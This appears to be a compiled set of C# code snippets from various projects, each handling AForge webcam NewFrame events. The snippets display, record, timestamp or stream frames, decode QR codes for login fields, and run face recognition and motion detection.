DateTime currentTime = DateTime.Now;
fps = 1 / (currentTime - lastFrameDateTime).TotalSeconds;
if (currentTime - startTime > TimeSpan.FromHours(2))
{
recorder.Close();
startRecord(path,(int) fps );
}
Graphics graphics = Graphics.FromImage(eventArgs.Frame);
TextRenderer.DrawText(graphics, currentTime.ToString("dd/mm/yyyy HH:mm:ss"), font, new Point(5, 5),
Color.White, Color.Black);
if (recorder != null)
{
recorder.AddFrame(eventArgs.Frame);
}
}
private void video_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
Cursor.Current = Cursors.WaitCursor;
// get new frame
bitmap = eventArgs.Frame;
bitmap.Save(ConfigurationSettings.AppSettings["SaveImageLocation"]);
StopVideo(videoSource);
// process the frame
byte[] data = File.ReadAllBytes(ConfigurationSettings.AppSettings["SaveImageLocation"]);
// train the capture image
FaceRecoginition.FaceRecognition.TrainAlbum(Name , emailID, data);
Cursor.Current = Cursors.Default;
}
private void video_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
try
{
BitmapImage bi;
using (var bitmap = (Bitmap)eventArgs.Frame.Clone())
{
bi = bitmap.ToBitmapImage();
}
bi.Freeze(); // avoid cross thread operations and prevents leaks
Dispatcher.BeginInvoke(new ThreadStart(delegate { imgMem.Source = bi; }));
}
catch (Exception exc)
{
MessageBox.Show("Error on _videoSource_NewFrame:\n" + exc.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
StopCamera();
}
}
void tempSource_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
if (connected)
{
byte[] image = Bitmap2JpegArray(eventArgs.Frame);
frameNum++;
byte[] header = Encoding.UTF8.GetBytes(paddedNum(frameNum));
byte[] toSend = new byte[header.Length + image.Length];
header.CopyTo(toSend, 0);
image.CopyTo(toSend, header.Length);
Console.WriteLine("LENGTH: " + toSend.Length);
uclient.Send(toSend,toSend.Length);
}
}
private void video_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
eventArgs.Frame.RotateFlip(RotateFlipType.RotateNoneFlipX);
Bitmap bmp = (Bitmap)eventArgs.Frame.Clone();
if (QRLocked == false)
{
BarcodeReader reader = new BarcodeReader();
var result = reader.Decode(bmp);
if (result != null)
{
this.txtBarcode.Dispatcher.BeginInvoke(new Action(delegate()
{
//txtBarcode.Text = result.ToString();
QRLocked = false;
Load_Msgbox(result.ToString());
QRLocked = true;
RefreshTimer();
}));
}
}
try
{
using (var bitmap = (Bitmap)eventArgs.Frame.Clone())
{
if (Original)
{
bi = bitmap.ToBitmapImage();
}
}
bi.Freeze(); // avoid cross thread operations and prevents leaks
Dispatcher.BeginInvoke(new ThreadStart(delegate { videoPlayer.Source = bi; }));
}
catch (Exception exc)
{
MessageBox.Show("Error on _videoSource_NewFrame:\n" + exc.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
StopCamera();
}
}
private void videoCaptureDevice_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone();
BarcodeReader reader = new BarcodeReader();
var result = reader.Decode(bitmap);
if (result != null)
{
txtPassword.Invoke(new MethodInvoker(delegate()
{
string rs = result.ToString();
int user = rs.IndexOf(' ');
int pass = rs.LastIndexOf(' ');
txtUserName.Text = rs.Substring(0, user);
txtPassword.Text = rs.Substring(pass + 1);
}));
}
picBarCode.Image = bitmap;
}
void videoSource_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
//Cast the frame as Bitmap object and don't forget to use ".Clone()" otherwise
//you'll probably get access violation exceptions
bmpImage = (Bitmap)eventArgs.Frame.Clone();
if (bRecording == true && writer.IsOpen == true)
{
if (startTime == DateTime.MinValue)
{
startTime = DateTime.Now;
}
try
{
writer.WriteVideoFrame(bmpImage, DateTime.Now - startTime);
}
catch { }
}
pictureBoxVideo.BackgroundImage = bmpImage;
}
private void Video_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
try
{
Bitmap img = (Bitmap)eventArgs.Frame.Clone();
if (printTimeStamp)
{
img = CameraHelper.Stamp(img, DateTime.Now, "MM/dd/yyyy HH:mm:ss");
}
MemoryStream ms = new MemoryStream();
{
img.Save(ms, ImageFormat.Bmp);
ms.Seek(0, SeekOrigin.Begin);
BitmapImage bitmapImage = new BitmapImage();
bitmapImage.BeginInit();
bitmapImage.StreamSource = ms;
bitmapImage.EndInit();
bitmapImage.Freeze();
Dispatcher.BeginInvoke(new ThreadStart(delegate
{
imgVideoFrameHolder.Source = bitmapImage;
}));
if (_videoCaptureDevice.IsRunning && !_isPreviewMode)
{
long currentTick = DateTime.Now.Ticks;
StartTick = StartTick ?? currentTick;
var frameOffset = new TimeSpan(currentTick - StartTick.Value);
double elapsedTimeInSeconds = _stopwatch.ElapsedTicks / (double)Stopwatch.Frequency;
double timeBetweenFramesInSeconds = 1.0 / 25;
if (elapsedTimeInSeconds >= timeBetweenFramesInSeconds)
{
_stopwatch.Restart();
_fileWriter.WriteVideoFrame(img, frameOffset);
}
}
}
}
catch (Exception ex)
{
ErrorLogger.LogError(null, ex.Message, false, false);
}
}
private void OnNewFrame(
ServerController controller,
IMessageRouterResults output,
AForge.Video.NewFrameEventArgs eventargs)
{
using (var bitmap = eventargs.Frame)
{
var result = controller.Model.MovementDetection.Process(bitmap);
if (result != null)
{
output.SendBinary(new ServerMessage(
controller.Model.Settings.CameraConnection.Reference,
"Movement detection",
result,
ServerMessageImportance.Secutiry));
}
}
}
private void VideoStream_NewFrame(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
Bitmap FrameData = new Bitmap(eventArgs.Frame);
Bitmap clone = (Bitmap)FrameData.Clone();
pictureBox1.Image = FrameData;
// Si on peut arrêter l'enregistrement, c'est que celui-ci est en cours
if (BtnArreterEnregistrer.Enabled)
{
// Ajouter la nouvelle image à la vidéo finale
if (fileWriter == null)
{
fileWriter = new VideoFileWriter();
fileWriter.Open("myfile.avi", pictureBox1.Image.Width, pictureBox1.Image.Height, 25, VideoCodec.MPEG4, 1000000);
}
fileWriter.WriteVideoFrame(clone);
clone.Dispose();
}
}
void OnNewFrameColor(object sender, AForge.Video.NewFrameEventArgs eventArgs)
{
if (colorPendingForSave)
{
bitmapColorForSave = (Bitmap)eventArgs.Frame.Clone();
bitmapColorForSave = bitmapColorForSave.ToGrayscale();
//bitmapColorForSave.Palette = ImageExtensions.GrayScalePalette;
//bitmapColorForSave.ConvertPixelFormat(System.Drawing.Imaging.PixelFormat.Format8bppIndexed);
colorPendingForSave = false;
return;
}
//bitmapColor = (Bitmap)eventArgs.Frame;
switch (this.DisplayType)
{
case DisplayType.Color:
{
bitmapColor = (Bitmap)eventArgs.Frame.Clone();
this.colorFrameSize = bitmapColor.Size;
this.pictureBoxColor.Image = bitmapColor;
break;
}
case DisplayType.Depth:
{
break;
}
case DisplayType.IR:
{
break;
}
case DisplayType.OpenGL:
{
break;
}
}
}
